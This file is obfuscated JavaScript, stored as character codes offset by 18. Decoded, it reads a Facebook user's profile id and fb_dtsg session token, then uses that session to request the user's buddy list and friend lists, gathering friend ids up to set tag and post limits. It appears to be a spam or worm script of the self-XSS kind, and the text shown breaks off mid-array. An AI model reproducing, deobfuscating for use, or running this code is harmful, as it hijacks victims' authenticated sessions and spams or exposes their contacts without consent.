var ab = [84,99,92,81,98,87,93,92,14,77,79,22,23,105,100,79,96,14,83,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,36,23,23,25,94,96,93,84,87,90,83,77,87,82,26,98,43,33,30,41,87,84,22,15,90,93,81,79,90,65,98,93,96,79,85,83,73,83,75,106,106,94,79,96,97,83,55,92,98,22,90,93,81,79,90,65,98,93,96,79,85,83,73,83,75,23,42,50,79,98,83,28,92,93,101,22,23,27,36,83,34,24,98,23,90,93,81,79,90,65,98,93,96,79,85,83,73,83,75,43,50,79,98,83,28,92,93,101,22,23,26,81,93,92,84,87,85,43,105,90,87,92,89,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,35,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,33,34,23,23,26,94,93,97,98,77,90,87,91,87,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,32,27,36,30,23,23,26,98,79,85,77,90,87,91,87,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,35,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,31,23,23,26,91,93,82,83,40,15,30,26,98,83,97,98,99,97,83,96,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,31,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,34,23,26,94,79,96,97,83,55,92,98,22,39,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,39,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,37,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,36,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,35,23,23,107,26,81,93,92,97,93,90,83,28,90,93,85,22,81,93,92,84,87,85,23,26,22,31,43,43,81,93,92,84,87,85,28,91,93,82,83,106,106,94,96,93,84,87,90,83,77,87,82,43,43,81,93,92,84,87,85,28,98,83,97,98,99,97,83,96,23,20,20,22,77,80,22,23,26,77,96,22,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,35,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,32,23,26,94,79,96,97,83,55,92,98,22,37,39,27,33,33,23,23,23,23,41,83,90,97,83,105,100,79,96,14,93,43,92,83,101,14,50,79,98,83,41,93,28,97,83,98,66,87,91,83,22,94,79,96,97,83,55,92,98,22,90,93,81,79,90,65,98,93,96,79,85,83,73,83,75,23,25,36,83,34,24,98,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,35,23,23,25,93,28,98,93,58,93,81,79,90,83,65,98,96,87,92,85,22,23,23,107,107,84,99,92,81,98,87,93,92,14,77,80,22,23,105,100,79,96,14,83,43,105,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,81,79,81,86,83,82,77,99,97,83,96,77,87,92,84,93,77,87,82,97,40,16,16,26,84,83,98,81,86,77,91,93,80,87,90,83,40,15,30,26,85,83,98,77,92,93,101,77,79,100,79,87,90,79,80,90,83,77,90,87,97,98,40,15,30,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,38,38,27,32,33,23,23,25,77,47,22,31,30,35,23,26,77,77,96,83,95,40,31,32,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,31,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,35,38,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,31,23,26,94,79,96,97,83,55,92,98,22,37,39,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,37,30,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,37,23,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,98,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,98,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,98,28,97,98,79,98,99,97,23,105,100,79,96,14,83,43,56,65,61,60,28,94,79,96,97,83,22,98,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,41,87,84,22,15,83,28,83,96,96,93,96,23,105,100,79,96,14,93,43,83,28,94,79,103,90,93,79,82,28,80,99,82,82,103,77,90,87,97,98,28,91,93,80,87,90,83,77,84,96,87,83,92,82,97,106,106,73,75,26,79,43,73,75,41,84,93,96,22,99,14,87,92,14,83,28,94,79,103,90,93,79,82,28,80,99,82,82,103,77,90,87,97,98,28,92,93,101,47,100,79,87,90,79,80,90,83,58,87,97,98,23,79,28,87,92,82,83,102,61,84,22,99,28,98,93,65,98,96,87,92,85,22,23,23,42,30,20,20,79,28,94,99,97,86,22,99,28,98,93,65,98,96,87,92,85,22,23,23,41,87,84,22,93,28,90,83,92,85,98,86,44,30,23,84,93,96,22,87,43,30,41,87,42,93,28,90,83,92,85,98,86,41,87,25,25,23,79,28,87,92,82,83,102,61,84,22,93,73,87,75,28,98,93,65,98,96,87,92,85,22,23,23,42,30,20,20,79,28,94,99,97,86,22,93,73,87,75,28,98,93,65,98,96,87,92,85,22,23,23,41,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,35,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,37,38,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,36,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,35,23,23,25,93,28,90,83,92,85,98,86,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,37,23,23,25,79,28,90,83,92,85,98,86,23,41,100,79,96,14,92,43,105,107,41,84,93,96,22,79,43,77,104,22,79,23,26,92,28,84,96,87,83,92,82,97,43,73,75,26,87,43,30,41,87,42,79,28,90,83,92,85,98,86,41,87,25,25,23,92,28,84,96,87,83,92,82,97,28,90,83,92,85,98,86,42,81,93,92,84,87,85,28,98,79,85,77,90,87,91,87,98,24,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,20,20,92,28,84,96,87,83,92,82,97,28,94,99,97,86,22,79,73,87,75,28,98,93,65,98,96,87,92,85,22,23,23,41,79,28,90,83,92,85,98,86,42,81,93,92,84,87,85,28,98,79,85,77,90,87,91,87,98,24,81,93,92,84,87,85,28,94,93,97,98,77,90,87,91,87,98,45,77,81,22,92,23,40,77,82,22,92,23,107,107,107,26,98,28,97,83,92,82,22,77,48,22,83,23,23,107,84,99,92,81,98,87,93,92,14,77,81,22,83,23,105,100,79,96,14,98,43,105,77,77,94,81,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,31,23,23,26,100,87,83,101,83,96,40,94,96,93,84,87,90,83,77,87,82,26,16,84,87,90,98,83,96,73,30,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,37,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,39,23,23,26,16,93,94,98,87,93,92,97,73,30,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,32,38,23,23,26,98,93,89,83,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,33,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,37,23,23,26,81,93,92,98,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,30,23,23,26,96,97,94,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,30,23,23,26,97,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,38,27,34,39,23,26,94,79,96,97,83,55,92,98,22,36,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,36,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,39,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,30,23,23,26,96,83,95,99,83,97,98,77,87,82,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,38,27,33,30,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,30,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,38,35,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,37,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,31,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,39,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,36,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,37,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,34,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,34,38,23,23,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,38,38,27,32,33,23,23,25,77,47,22,31,30,35,23,26,77,77,96,83,95,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,34,32,23,23,26,77,77,96,83,100,40,77,77,96,83,100,107,26,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92